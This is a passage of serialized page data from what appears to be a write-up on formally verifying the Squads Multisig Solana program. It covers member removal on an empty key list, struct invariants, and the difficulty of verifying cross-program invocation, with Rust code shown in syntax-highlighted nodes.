data",{"type":19,"tag":168,"props":24421,"children":24422},{"style":399},[24423],{"type":24,"value":1922},{"type":19,"tag":168,"props":24425,"children":24426},{"style":399},[24427],{"type":24,"value":22767},{"type":19,"tag":168,"props":24429,"children":24430},{"style":212},[24431],{"type":24,"value":915},{"type":19,"tag":168,"props":24433,"children":24434},{"class":170,"line":1008},[24435,24439,24443,24447],{"type":19,"tag":168,"props":24436,"children":24437},{"style":393},[24438],{"type":24,"value":22820},{"type":19,"tag":168,"props":24440,"children":24441},{"style":399},[24442],{"type":24,"value":1922},{"type":19,"tag":168,"props":24444,"children":24445},{"style":192},[24446],{"type":24,"value":437},{"type":19,"tag":168,"props":24448,"children":24449},{"style":212},[24450],{"type":24,"value":915},{"type":19,"tag":168,"props":24452,"children":24453},{"class":170,"line":1025},[24454],{"type":19,"tag":168,"props":24455,"children":24456},{"style":212},[24457],{"type":24,"value":22841},{"type":19,"tag":168,"props":24459,"children":24460},{"class":170,"line":1042},[24461],{"type":19,"tag":168,"props":24462,"children":24463},{"style":212},[24464],{"type":24,"value":22849},{"type":19,"tag":168,"props":24466,"children":24467},{"class":170,"line":1055},[24468,24472,24476,24480,24484,24488],{"type":19,"tag":168,"props":24469,"children":24470},{"style":393},[24471],{"type":24,"value":22857},{"type":19,"tag":168,"props":24473,"children":24474},{"style":399},[24475],{"type":24,"value":1922},{"type":19,"tag":168,"props":24477,"children":24478},{"style":825},[24479],{"type":24,"value":22866},{"type":19,"tag":168,"props":24481,"children":24482},{"style":212},[24483],{"type":24,"value":7027},{"type":19,"tag":168,"props":24485,"children":24486},{"style":399},[24487],{"type":24,"value":7032},{"type":19,"tag":168,"props":24489,"children":24490},{"style":212},[24491],{"type":24,"value":22879},{"type":19,"tag":168,"props":24493,"children":24494},{"class":170,"line":1064},[24495],{"type":19,"tag":168,"props":24496,"children":24497},{"style":212},[24498],{"type":24,"value":1326},{"type":19,"tag":20,"props":24500,"children":24501},{},[24502],{"type":24,"value":24503},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":19,"tag":20,"props":24505,"children":24506},{},[24507,24509,24515],{"type":24,"value":24508},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":19,"tag":27,"props":24510,"children":24512},{"className":24511},[],[24513],{"type":24,"value":24514},"Ms::remove_member",{"type":24,"value":1922},{"type":19,"tag":158,"props":24517,"children":24519},{"code":24518,"language":362,"meta":7,"className":363,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[24520],{"type":19,"tag":27,"props":24521,"children":24522},{"__ignoreMap":7},[24523,24582,24613,24620],{"type":19,"tag":168,"props":24524,"children":24525},{"class":170,"line":171},[24526,24530,24534,24538,24542,24546,24550,24554,24558,24562,24566,24570,24574,24578],{"type":19,"tag":168,"props":24527,"children":24528},{"style":419},[24529],{"type":24,"value":13027},{"type":19,"tag":168,"props":24531,"children":24532},{"style":393},[24533],{"type":24,"value":23311},{"type":19,"tag":168,"props":24535,"children":24536},{"style":399},[24537],{"type":24,"value":948},{"type":19,"tag":168,"props":24539,"children":24540},{"style":212},[24541],{"type":24,"value":12121},{"type":19,"tag":168,"props":24543,"children":24544},{"style":399},[24545],{"type":24,"value":948},{"type":19,"tag":168,"props":24547,"children":24548},{"style":212},[24549],{"type":24,"value":21272},{"type":19,"tag":168,"props":24551,"children":24552},{"style":399},[24553],{"type":24,"value":948},{"type":19,"tag":168,"props":24555,"children":24556},{"style":212},[24557],{"type":24,"value":18438},{"type":19,"tag":168,"props":24559,"children":24560},{"style":399},[24561],{"type":24,"value":948},{"type":19,"tag":168,"props":24563,"children":24564},{"style":175},[24565],{"type":24,"value":6579},{"type":19,"tag":168,"props":24567,"children":24568},{"style":212},[24569],{"type":24,"value":11489},{"type":19,"tag":168,"props":24571,"children":24572},{"style":399},[24573],{"type":24,"value":6013},{"type":19,"tag":168,"props":24575,"children":24576},{"style":192},[24577],{"type":24,"value":1954},{"type":19,"tag":168,"props":24579,"children":24580},{"style":212},[24581],{"type":24,"value":691},{"type":19,"tag":168,"props":24583,"children":24584},{"class":170,"line":198},[24585,24589,24593,24597,24601,24605,24609],{"type":19,"tag":168,"props":24586,"children":24587},{"style":419},[24588],{"type":24,"value":14438},{"type":19,"tag":168,"props":24590,"children":24591},{"style":175},[24592],{"type":24,"value":20975},{"type":19,"tag":168,"props":24594,"children":24595},{"style":212},[24596],{"type":24,"value":500},{"type":19,"tag":168,"props":24598,"children":24599},{"style":825},[24600],{"type":24,"value":20984},{"type":19,"tag":168,"props":24602,"children":24603},{"style":399},[24604],{"type":24,"value":888},{"type":19,"tag":168,"props":24606,"children":24607},{"style":825},[24608],{"type":24,"value":23387},{"type":19,"tag":168,"props":24610,"children":24611},{"style":212},[24612],{"type":24,"value":1249},{"type":19,"tag":168,"props":24614,"children":24615},{"class":170,"line":415},[24616],{"type":19,"tag":168,"props":24617,"children":24618},{"style":212},[24619],{"type":24,"value":1326},{"type":19,"tag":168,"props":24621,"children":24622},{"class":170,"line":450},[24623,24627,24631,24635,24639,24643,24647,24651,24655,24659,24663,24667],{"type":19,"tag":168,"props":24624,"children":24625},{"style":393},[24626],{"type":24,"value":17735},{"type":19,"tag":168,"props":24628,"children":24629},{"style":399},[24630],{"type":24,"value":948},{"type":19,"tag":168,"props":24632,"children":24633},{"style":212},[24634],{"type":24,"value":12121},{"type":19,"tag":168,"props":24636,"children":24637},{"style":399},[24638],{"type":24,"value":948},{"type":19,"tag":168,"props":24640,"children":24641},{"style":212},[24642],{"type":24,"value":21272},{"type":19,"tag":168,"props":24644,"children":24645},{"style":399},[24646],{"type":24,"value":948},{"type":19,"tag":168,"props":24648,"children":24649},{"style":175},[24650],{"type":24,"value":22934},{"type":19,"tag":168,"props":24652,"children":24653},{"style":212},[24654],{"type":24,"value":500},{"type":19,"tag":168,"props":24656,"children":24657},{"style":393},[24658],{"type":24,"value":23267},{"type":19,"tag":168,"props":24660,"children":24661},{"style":212},[24662],{"type":24,"value":524},{"type":19,"tag":168,"props":24664,"children":24665},{"style":399},[24666],{"type":24,"value":552},{"type":19,"tag":168,"props":24668,"children":24669},{"style":212},[24670],{"type":24,"value":412},{"type":19,"tag":20,"props":24672,"children":24673},{},[24674,24676,24682,24684,24690],{"type":24,"value":24675},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":19,"tag":27,"props":24677,"children":24679},{"className":24678},[],[24680],{"type":24,"value":24681},"Ms::is_member",{"type":24,"value":24683},") and if it is not, it simply skips the removal and returns ",{"type":19,"tag":27,"props":24685,"children":24687},{"className":24686},[],[24688],{"type":24,"value":24689},"Ok(())",{"type":24,"value":948},{"type":19,"tag":158,"props":24692,"children":24694},{"code":24693,"language":362,"meta":7,"className":363,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n if let Some(ind) = self.is_member(member) {\n self.keys.remove(ind);\n if self.keys.len() \u003C usize::from(self.threshold) {\n self.threshold = self.keys.len().try_into().unwrap();\n }\n }\n Ok(())\n}\n",[24695],{"type":19,"tag":27,"props":24696,"children":24697},{"__ignoreMap":7},[24698,24762,24821,24858,24917,24985,24992,24999,25010],{"type":19,"tag":168,"props":24699,"children":24700},{"class":170,"line":171},[24701,24705,24709,24713,24717,24721,24725,24729,24733,24738,24742,24746,24750,24754,24758],{"type":19,"tag":168,"props":24702,"children":24703},{"style":382},[24704],{"type":24,"value":11136},{"type":19,"tag":168,"props":24706,"children":24707},{"style":382},[24708],{"type":24,"value":11141},{"type":19,"tag":168,"props":24710,"children":24711},{"style":175},[24712],{"type":24,"value":23233},{"type":19,"tag":168,"props":24714,"children":24715},{"style":212},[24716],{"type":24,"value":500},{"type":19,"tag":168,"props":24718,"children":24719},{"style":399},[24720],{"type":24,"value":505},{"type":19,"tag":168,"props":24722,"children":24723},{"style":382},[24724],{"type":24,"value":1142},{"type":19,"tag":168,"props":24726,"children":24727},{"style":382},[24728],{"type":24,"value":11243},{"type":19,"tag":168,"props":24730,"children":24731},{"style":212},[24732],{"type":24,"value":471},{"type":19,"tag":168,"props":24734,"children":24735},{"style":393},[24736],{"type":24,"value":24737},"member",{"type":19,"tag":168,"props":24739,"children":24740},{"style":399},[24741],{"type":24,"value":1922},{"type":19,"tag":168,"props":24743,"children":24744},{"style":825},[24745],{"type":24,"value":18312},{"type":19,"tag":168,"props":24747,"children":24748},{"style":212},[24749],{"type":24,"value":481},{"type":19,"tag":168,"props":24751,"children":24752},{"style":399},[24753],{"type":24,"value":11203},{"type":19,"tag":168,"props":24755,"children":24756},{"style":825},[24757],{"type":24,"value":11208},{"type":19,"tag":168,"props":24759,"children":24760},{"style":212},[24761],{"type":24,"value":17786},{"type":19,"tag":168,"props":24763,"children":24764},{"class":170,"line":198},[24765,24769,24774,24779,24783,24788,24792,24796,24800,24804,24809,24813,24817],{"type":19,"tag":168,"props":24766,"children":24767},{"style":419},[24768],{"type":24,"value":9724},{"type":19,"tag":168,"props":24770,"children":24771},{"style":382},[24772],{"type":24,"value":24773}," let",{"type":19,"tag":168,"props":24775,"children":24776},{"style":825},[24777],{"type":24,"value":24778}," Some",{"type":19,"tag":168,"props":24780,"children":24781},{"style":212},[24782],{"type":24,"value":500},{"type":19,"tag":168,"props":24784,"children":24785},{"style":393},[24786],{"type":24,"value":24787},"ind",{"type":19,"tag":168,"props":24789,"children":24790},{"style":212},[24791],{"type":24,"value":481},{"type":19,"tag":168,"props":24793,"children":24794},{"style":399},[24795],{"type":24,"value":486},{"type":19,"tag":168,"props":24797,"children":24798},{"style":382},[24799],{"type":24,"value":11243},{"type":19,"tag":168,"props":24801,"children":24802},{"style":399},[24803],{"type":24,"value":948},{"type":19,"tag":168,"props":24805,"children":24806},{"style":175},[24807],{"type":24,"value":24808},"is_member",{"type":19,"tag":168,"props":24810,"children":24811},{"style":212},[24812],{"type":24,"value":500},{"type":19,"tag":168,"props":24814,"children":24815},{"style":393},[24816],{"type":24,"value":24737},{"type":19,"tag":168,"props":24818,"children":24819},{"style":212},[24820],{"type":24,"value":12250},{"type":19,"tag":168,"props":24822,"children":24823},{"class":170,"line":415},[24824,24829,24833,24837,24841,24846,24850,24854],{"type":19,"tag":168,"props":24825,"children":24826},{"style":382},[24827],{"type":24,"value":24828}," self",{"type":19,"tag":168,"props":24830,"children":24831},{"style":399},[24832],{"type":24,"value":948},{"type":19,"tag":168,"props":24834,"children":24835},{"style":212},[24836],{"type":24,"value":18438},{"type":19,"tag":168,"props":24838,"children":24839},{"style":399},[24840],{"type":24,"value":948},{"type":19,"tag":168,"props":24842,"children":24843},{"style":175},[24844],{"type":24,"value":24845},"remove",{"type":19,"tag":168,"props":24847,"children":24848},{"style":212},[24849],{"type":24,"value":500},{"type":19,"tag":168,"props":24851,"children":24852},{"style":393},[24853],{"type":24,"value":24787},{"type":19,"tag":168,"props":24855,"children":24856},{"style":212},[24857],{"type":24,"value":1249},{"type":19,"tag":168,"props":24859,"children":24860},{"class":170,"line":450},[24861,24865,24869,24873,24877,24881,24885,24889,24893,24897,24901,24905,24909,24913],{"type":19,"tag":168,"props":24862,"children":24863},{"style":419},[24864],{"type":24,"value":672},{"type":19,"tag":168,"props":24866,"children":24867},{"style":382},[24868],{"type":24,"value":11243},{"type":19,"tag":168,"props":24870,"children":24871},{"style":399},[24872],{"type":24,"value":948},{"type":19,"tag":168,"props":24874,"children":24875},{"style":212},[24876],{"type":24,"value":18438},{"type":19,"tag":168,"props":24878,"children":24879},{"style":399},[24880],{"type":24,"value":948},{"type":19,"tag":168,"props":24882,"children":24883},{"style":175},[24884],{"type":24,"value":6579},{"type":19,"tag":168,"props":24886,"children":24887},{"style":212},[24888],{"type":24,"value":23512},{"type":19,"tag":168,"props":24890,"children":24891},{"style":825},[24892],{"type":24,"value":14050},{"type":19,"tag":168,"props":24894,"children":24895},{"style":399},[24896],{"type":24,"value":888},{"type":19,"tag":168,"props":24898,"children":24899},{"style":175},[24900],{"type":24,"value":16927},{"type":19,"tag":168,"props":24902,"children":24903},{"style":212},[24904],{"type":24,"value":500},{"type":19,"tag":168,"props":24906,"children":24907},{"style":382},[24908],{"type":24,"value":11159},{"type":19,"tag":168,"props":24910,"children":24911},{"style":399},[24912],{"type":24,"value":948},{"type":19,"tag":168,"props":24914,"children":24915},{"style":212},[24916],{"type":24,"value":23557},{"type":19,"tag":168,"props":24918,"children":24919},{"class":170,"line":560},[24920,24925,24929,24933,24937,24941,24945,24949,24953,24957,24961,24965,24969,24973,24977,24981],{"type":19,"tag":168,"props":24921,"children":24922},{"style":382},[24923],{"type":24,"value":24924}," self",{"type":19,"tag":168,"props":24926,"children":24927},{"style":399},[24928],{"type":24,"value":948},{"type":19,"tag":168,"props":24930,"children":24931},{"style":212},[24932],{"type":24,"value":18526},{"type":19,"tag":168,"props":24934,"children":24935},{"style":399},[24936],{"type":24,"value":486},{"type":19,"tag":168,"props":24938,"children":24939},{"style":382},[24940],{"type":24,"value":11243},{"type":19,"tag":168,"props":24942,"children":24943},{"style":399},[24944],{"type":24,"value":948},{"type":19,"tag":168,"props":24946,"children":24947},{"style":212},[24948],{"type":24,"value":18438},{"type":19,"tag":168,"props":24950,"children":24951},{"style":399},[24952],{"type":24,"value":948},{"type":19,"tag":168,"props":24954,"children":24955},{"style":175},[24956],{"type":24,"value":6579},{"type":19,"tag":168,"props":24958,"children":24959},{"style":212},[24960],{"type":24,"value":11325},{"type":19,"tag":168,"props":24962,"children":24963},{"style":399},[24964],{"type":24,"value":948},{"type":19,"tag":168,"props":24966,"children":24967},{"style":175},[24968],{"type":24,"value":23630},{"type":19,"tag":168,"props":24970,"children":24971},{"style":212},[24972],{"type":24,"value":11325},{"type":19,"tag":168,"props":24974,"children":24975},{"style":399},[24976],{"type":24,"value":948},{"type":19,"tag":168,"props":24978,"children":24979},{"style":175},[24980],{"type":24,"value":1079},{"type":19,"tag":168,"props":24982,"children":24983},{"style":212},[24984],{"type":24,"value":1084},{"type":19,"tag":168,"props":24986,"children":24987},{"class":170,"line":666},[24988],{"type":19,"tag":168,"props":24989,"children":24990},{"style":212},[24991],{"type":24,"value":752},{"type":19,"tag":168,"props":24993,"children":24994},{"class":170,"line":694},[24995],{"type":19,"tag":168,"props":24996,"children":24997},{"style":212},[24998],{"type":24,"value":761},{"type":19,"tag":168,"props":25000,"children":25001},{"class":170,"line":707},[25002,25006],{"type":19,"tag":168,"props":25003,"children":25004},{"style":825},[25005],{"type":24,"value":11779},{"type":19,"tag":168,"props":25007,"children":25008},{"style":212},[25009],{"type":24,"value":11784},{"type":19,"tag":168,"props":25011,"children":25012},{"class":170,"line":725},[25013],{"type":19,"tag":168,"props":25014,"children":25015},{"style":212},[25016],{"type":24,"value":1326},{"type":19,"tag":20,"props":25018,"children":25019},{},[25020,25022,25027,25029,25035,25037,25043,25045,25050],{"type":24,"value":25021},"Inside ",{"type":19,"tag":27,"props":25023,"children":25025},{"className":25024},[],[25026],{"type":24,"value":24681},{"type":24,"value":25028},", we see that it performs a ",{"type":19,"tag":27,"props":25030,"children":25032},{"className":25031},[],[25033],{"type":24,"value":25034},"binary_search",{"type":24,"value":25036}," on the keys vec and returns the index or ",{"type":19,"tag":27,"props":25038,"children":25040},{"className":25039},[],[25041],{"type":24,"value":25042},"None",{"type":24,"value":25044},". Since the vec has size zero, this will just return ",{"type":19,"tag":27,"props":25046,"children":25048},{"className":25047},[],[25049],{"type":24,"value":25042},{"type":24,"value":948},{"type":19,"tag":158,"props":25052,"children":25054},{"code":25053,"language":362,"meta":7,"className":363,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n match self.keys.binary_search(&member) {\n Ok(ind) => Some(ind),\n _ => None,\n }\n}\n",[25055],{"type":19,"tag":27,"props":25056,"children":25057},{"__ignoreMap":7},[25058,25127,25170,25209,25231,25238],{"type":19,"tag":168,"props":25059,"children":25060},{"class":170,"line":171},[25061,25065,25069,25074,25078,25082,25086,25090,25094,25098,25102,25106,25110,25115,25119,25123],{"type":19,"tag":168,"props":25062,"children":25063},{"style":382},[25064],{"type":24,"value":11136},{"type":19,"tag":168,"props":25066,"children":25067},{"style":382},[25068],{"type":24,"value":11141},{"type":19,"tag":168,"props":25070,"children":25071},{"style":175},[25072],{"type":24,"value":25073}," is_member",{"type":19,"tag":168,"props":25075,"children":25076},{"style":212},[25077],{"type":24,"value":500},{"type":19,"tag":168,"props":25079,"children":25080},{"style":399},[25081],{"type":24,"value":505},{"type":19,"tag":168,"props":25083,"children":25084},{"style":382},[25085],{"type":24,"value":11159},{"type":19,"tag":168,"props":25087,"children":25088},{"style":212},[25089],{"type":24,"value":471},{"type":19,"tag":168,"props":25091,"children":25092},{"style":393},[25093],{"type":24,"value":24737},{"type":19,"tag":168,"props":25095,"children":25096},{"style":399},[25097],{"type":24,"value":1922},{"type":19,"tag":168,"props":25099,"children":25100},{"style":825},[25101],{"type":24,"value":18312},{"type":19,"tag":168,"props":25103,"children":25104},{"style":212},[25105],{"type":24,"value":481},{"type":19,"tag":168,"props":25107,"children":25108},{"style":399},[25109],{"type":24,"value":11203},{"type":19,"tag":168,"props":25111,"children":25112},{"style":825},[25113],{"type":24,"value":25114}," Option",{"type":19,"tag":168,"props":25116,"children":25117},{"style":212},[25118],{"type":24,"value":3240},{"type":19,"tag":168,"props":25120,"children":25121},{"style":825},[25122],{"type":24,"value":14050},{"type":19,"tag":168,"props":25124,"children":25125},{"style":212},[25126],{"type":24,"value":4717},{"type":19,"tag":168,"props":25128,"children":25129},{"class":170,"line":198},[25130,25134,25138,25142,25146,25150,25154,25158,25162,25166],{"type":19,"tag":168,"props":25131,"children":25132},{"style":419},[25133],{"type":24,"value":12199},{"type":19,"tag":168,"props":25135,"children":25136},{"style":382},[25137],{"type":24,"value":11243},{"type":19,"tag":168,"props":25139,"children":25140},{"style":399},[25141],{"type":24,"value":948},{"type":19,"tag":168,"props":25143,"children":25144},{"style":212},[25145],{"type":24,"value":18438},{"type":19,"tag":168,"props":25147,"children":25148},{"style":399},[25149],{"type":24,"value":948},{"type":19,"tag":168,"props":25151,"children":25152},{"style":175},[25153],{"type":24,"value":25034},{"type":19,"tag":168,"props":25155,"children":25156},{"style":212},[25157],{"type":24,"value":500},{"type":19,"tag":168,"props":25159,"children":25160},{"style":399},[25161],{"type":24,"value":505},{"type":19,"tag":168,"props":25163,"children":25164},{"style":393},[25165],{"type":24,"value":24737},{"type":19,"tag":168,"props":25167,"children":25168},{"style":212},[25169],{"type":24,"value":12250},{"type":19,"tag":168,"props":25171,"children":25172},{"class":170,"line":415},[25173,25177,25181,25185,25189,25193,25197,25201,25205],{"type":19,"tag":168,"props":25174,"children":25175},{"style":825},[25176],{"type":24,"value":12258},{"type":19,"tag":168,"props":25178,"children":25179},{"style":212},[25180],{"type":24,"value":500},{"type":19,"tag":168,"props":25182,"children":25183},{"style":393},[25184],{"type":24,"value":24787},{"type":19,"tag":168,"props":25186,"children":25187},{"style":212},[25188],{"type":24,"value":481},{"type":19,"tag":168,"props":25190,"children":25191},{"style":399},[25192],{"type":24,"value":12268},{"type":19,"tag":168,"props":25194,"children":25195},{"style":825},[25196],{"type":24,"value":24778},{"type":19,"tag":168,"props":25198,"children":25199},{"style":212},[25200],{"type":24,"value":500},{"type":19,"tag":168,"props":25202,"children":25203},{"style":393},[25204],{"type":24,"value":24787},{"type":19,"tag":168,"props":25206,"children":25207},{"style":212},[25208],{"type":24,"value":4172},{"type":19,"tag":168,"props":25210,"children":25211},{"class":170,"line":450},[25212,25217,25222,25227],{"type":19,"tag":168,"props":25213,"children":25214},{"style":393},[25215],{"type":24,"value":25216}," _",{"type":19,"tag":168,"props":25218,"children":25219},{"style":399},[25220],{"type":24,"value":25221}," =>",{"type":19,"tag":168,"props":25223,"children":25224},{"style":825},[25225],{"type":24,"value":25226}," None",{"type":19,"tag":168,"props":25228,"children":25229},{"style":212},[25230],{"type":24,"value":915},{"type":19,"tag":168,"props":25232,"children":25233},{"class":170,"line":560},[25234],{"type":19,"tag":168,"props":25235,"children":25236},{"style":212},[25237],{"type":24,"value":761},{"type":19,"tag":168,"props":25239,"children":25240},{"class":170,"line":666},[25241],{"type":19,"tag":168,"props":25242,"children":25243},{"style":212},[25244],{"type":24,"value":1326},{"type":19,"tag":20,"props":25246,"children":25247},{},[25248,25250,25255,25257,25262,25264,25269,25271,25276],{"type":24,"value":25249},"So interestingly, a ",{"type":19,"tag":27,"props":25251,"children":25253},{"className":25252},[],[25254],{"type":24,"value":18438},{"type":24,"value":25256}," vec of size 0 ",{"type":19,"tag":293,"props":25258,"children":25259},{},[25260],{"type":24,"value":25261},"is actually",{"type":24,"value":25263}," a sufficient condition to execute ",{"type":19,"tag":27,"props":25265,"children":25267},{"className":25266},[],[25268],{"type":24,"value":22934},{"type":24,"value":25270},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":19,"tag":293,"props":25272,"children":25273},{},[25274],{"type":24,"value":25275},"valid",{"type":24,"value":25277}," multisig, the number of keys should never be zero.",{"type":19,"tag":20,"props":25279,"children":25280},{},[25281,25283,25288],{"type":24,"value":25282},"We can represent this ",{"type":19,"tag":293,"props":25284,"children":25285},{},[25286],{"type":24,"value":25287},"validity",{"type":24,"value":25289}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":19,"tag":158,"props":25291,"children":25293},{"code":25292,"language":362,"meta":7,"className":363,"style":7},"#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[25294],{"type":19,"tag":27,"props":25295,"children":25296},{"__ignoreMap":7},[25297,25304,25327,25378,25385],{"type":19,"tag":168,"props":25298,"children":25299},{"class":170,"line":171},[25300],{"type":19,"tag":168,"props":25301,"children":25302},{"style":212},[25303],{"type":24,"value":18233},{"type":19,"tag":168,"props":25305,"children":25306},{"class":170,"line":198},[25307,25311,25315,25319,25323],{"type":19,"tag":168,"props":25308,"children":25309},{"style":212},[25310],{"type":24,"value":22197},{"type":19,"tag":168,"props":25312,"children":25313},{"style":399},[25314],{"type":24,"value":948},{"type":19,"tag":168,"props":25316,"children":25317},{"style":212},[25318],{"type":24,"value":18526},{"type":19,"tag":168,"props":25320,"children":25321},{"style":399},[25322],{"type":24,"value":7386},{"type":19,"tag":168,"props":25324,"children":25325},{"style":212},[25326],{"type":24,"value":18535},{"type":19,"tag":168,"props":25328,"children":25329},{"class":170,"line":415},[25330,25334,25338,25342,25346,25350,25354,25358,25362,25366,25370,25374],{"type":19,"tag":168,"props":25331,"children":25332},{"style":399},[25333],{"type":24,"value":13069},{"type":19,"tag":168,"props":25335,"children":25336},{"style":212},[25337],{"type":24,"value":18459},{"type":19,"tag":168,"props":25339,"children":25340},{"style":399},[25341],{"type":24,"value":948},{"type":19,"tag":168,"props":25343,"children":25344},{"style":212},[25345],{"type":24,"value":18526},{"type":19,"tag":168,"props":25347,"children":25348},{"style":382},[25349],{"type":24,"value":6280},{"type":19,"tag":168,"props":25351,"children":25352},{"style":825},[25353],{"type":24,"value":11177},{"type":19,"tag":168,"props":25355,"children":25356},{"style":399},[25357],{"type":24,"value":5634},{"type":19,"tag":168,"props":25359,"children":25360},{"style":212},[25361],{"type":24,"value":11243},{"type":19,"tag":168,"props":25363,"children":25364},{"style":399},[25365],{"type":24,"value":948},{"type":19,"tag":168,"props":25367,"children":25368},{"style":212},[25369],{"type":24,"value":18438},{"type":19,"tag":168,"props":25371,"children":25372},{"style":399},[25373],{"type":24,"value":948},{"type":19,"tag":168,"props":25375,"children":25376},{"style":212},[25377],{"type":24,"value":18587},{"type":19,"tag":168,"props":25379,"children":25380},{"class":170,"line":450},[25381],{"type":19,"tag":168,"props":25382,"children":25383},{"style":212},[25384],{"type":24,"value":17713},{"type":19,"tag":168,"props":25386,"children":25387},{"class":170,"line":560},[25388,25392,25396,25400,25404,25408],{"type":19,"tag":168,"props":25389,"children":25390},{"style":382},[25391],{"type":24,"value":11136},{"type":19,"tag":168,"props":25393,"children":25394},{"style":382},[25395],{"type":24,"value":18606},{"type":19,"tag":168,"props":25397,"children":25398},{"style":825},[25399],{"type":24,"value":18611},{"type":19,"tag":168,"props":25401,"children":25402},{"style":212},[25403],{"type":24,"value":7027},{"type":19,"tag":168,"props":25405,"children":25406},{"style":399},[25407],{"type":24,"value":7032},{"type":19,"tag":168,"props":25409,"children":25410},{"style":212},[25411],{"type":24,"value":7037},{"type":19,"tag":20,"props":25413,"children":25414},{},[25415,25417,25423,25425,25431],{"type":24,"value":25416},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":19,"tag":27,"props":25418,"children":25420},{"className":25419},[],[25421],{"type":24,"value":25422},"keys.len() == 0",{"type":24,"value":25424}," and allows us to prove the biconditional ",{"type":19,"tag":27,"props":25426,"children":25428},{"className":25427},[],[25429],{"type":24,"value":25430},"(keys.len() >= 1) -> (instruction succeeds)",{"type":24,"value":948},{"type":19,"tag":7050,"props":25433,"children":25435},{"id":25434},"safety-guarantees",[25436],{"type":24,"value":20240},{"type":19,"tag":20,"props":25438,"children":25439},{},[25440],{"type":24,"value":25441},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":19,"tag":20,"props":25443,"children":25444},{},[25445],{"type":24,"value":25446},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":19,"tag":20,"props":25448,"children":25449},{},[25450,25452,25458],{"type":24,"value":25451},"In the multisig program this happens in the ",{"type":19,"tag":27,"props":25453,"children":25455},{"className":25454},[],[25456],{"type":24,"value":25457},"execute_transaction",{"type":24,"value":25459}," instruction.",{"type":19,"tag":20,"props":25461,"children":25462},{},[25463],{"type":19,"tag":293,"props":25464,"children":25465},{},[25466],{"type":24,"value":25467},"So what do you do?",{"type":19,"tag":20,"props":25469,"children":25470},{},[25471],{"type":24,"value":25472},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":19,"tag":158,"props":25474,"children":25476},{"code":25475,"language":362,"meta":7,"className":363,"style":7},"#[derive(Accounts)]\npub MyCtx {\n #[account(mut)]\n pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n pub bad: bool\n}\n\nimpl Acc {\n pub fn put_into_bad_state() {\n self.bad = true;\n }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n Ok(())\n}\n",[25477],{"type":19,"tag":27,"props":25478,"children":25479},{"__ignoreMap":7},[25480,25495,25511,25526,25567,25574,25581,25588,25605,25621,25642,25649,25656,25672,25692,25720,25727,25734,25741,25749,25802,25828,25835,25864,25888,25923,25930,25941],{"type":19,"tag":168,"props":25481,"children":25482},{"class":170,"line":171},[25483,25487,25491],{"type":19,"tag":168,"props":25484,"children":25485},{"style":212},[25486],{"type":24,"value":20293},{"type":19,"tag":168,"props":25488,"children":25489},{"style":825},[25490],{"type":24,"value":20298},{"type":19,"tag":168,"props":25492,"children":25493},{"style":212},[25494],{"type":24,"value":17713},{"type":19,"tag":168,"props":25496,"children":25497},{"class":170,"line":198},[25498,25502,25507],{"type":19,"tag":168,"props":25499,"children":25500},{"style":382},[25501],{"type":24,"value":11136},{"type":19,"tag":168,"props":25503,"children":25504},{"style":825},[25505],{"type":24,"value":25506}," MyCtx",{"type":19,"tag":168,"props":25508,"children":25509},{"style":212},[25510],{"type":24,"value":691},{"type":19,"tag":168,"props":25512,"children":25513},{"class":170,"line":415},[25514,25518,25522],{"type":19,"tag":168,"props":25515,"children":25516},{"style":212},[25517],{"type":24,"value":20585},{"type":19,"tag":168,"props":25519,"children":25520},{"style":382},[25521],{"type":24,"value":1142},{"type":19,"tag":168,"props":25523,"children":25524},{"style":212},[25525],{"type":24,"value":17713},{"type":19,"tag":168,"props":25527,"children":25528},{"class":170,"line":450},[25529,25533,25538,25542,25546,25550,25554,25558,25563],{"type":19,"tag":168,"props":25530,"children":25531},{"style":382},[25532],{"type":24,"value":18298},{"type":19,"tag":168,"props":25534,"children":25535},{"style":393},[25536],{"type":24,"value":25537}," my_account",{"type":19,"tag":168,"props":25539,"children":25540},{"style":399},[25541],{"type":24,"value":1922},{"type":19,"tag":168,"props":25543,"children":25544},{"style":825},[25545],{"type":24,"value":20550},{"type":19,"tag":168,"props":25547,"children":25548},{"style":212},[25549],{"type":24,"value":20378},{"type":19,"tag":168,"props":25551,"children":25552},{"style":825},[25553],{"type":24,"value":20383},{"type":19,"tag":168,"props":25555,"children":25556},{"style":212},[25557],{"type":24,"value":471},{"type":19,"tag":168,"props":25559,"children":25560},{"style":825},[25561],{"type":24,"value":25562},"Acc",{"type":19,"tag":168,"props":25564,"children":25565},{"style":212},[25566],{"type":24,"value":3427},{"type":19,"tag":168,"props":25568,"children":25569},{"class":170,"line":560},[25570],{"type":19,"tag":168,"props":25571,"children":25572},{"style":212},[25573],{"type":24,"value":1326},{"type":19,"tag":168,"props":25575,"children":25576},{"class":170,"line":666},[25577],{"type":19,"tag":168,"props":25578,"children":25579},{"emptyLinePlaceholder":14},[25580],{"type":24,"value":1093},{"type":19,"tag":168,"props":25582,"children":25583},{"class":170,"line":694},[25584],{"type":19,"tag":168,"props":25585,"children":25586},{"style":212},[25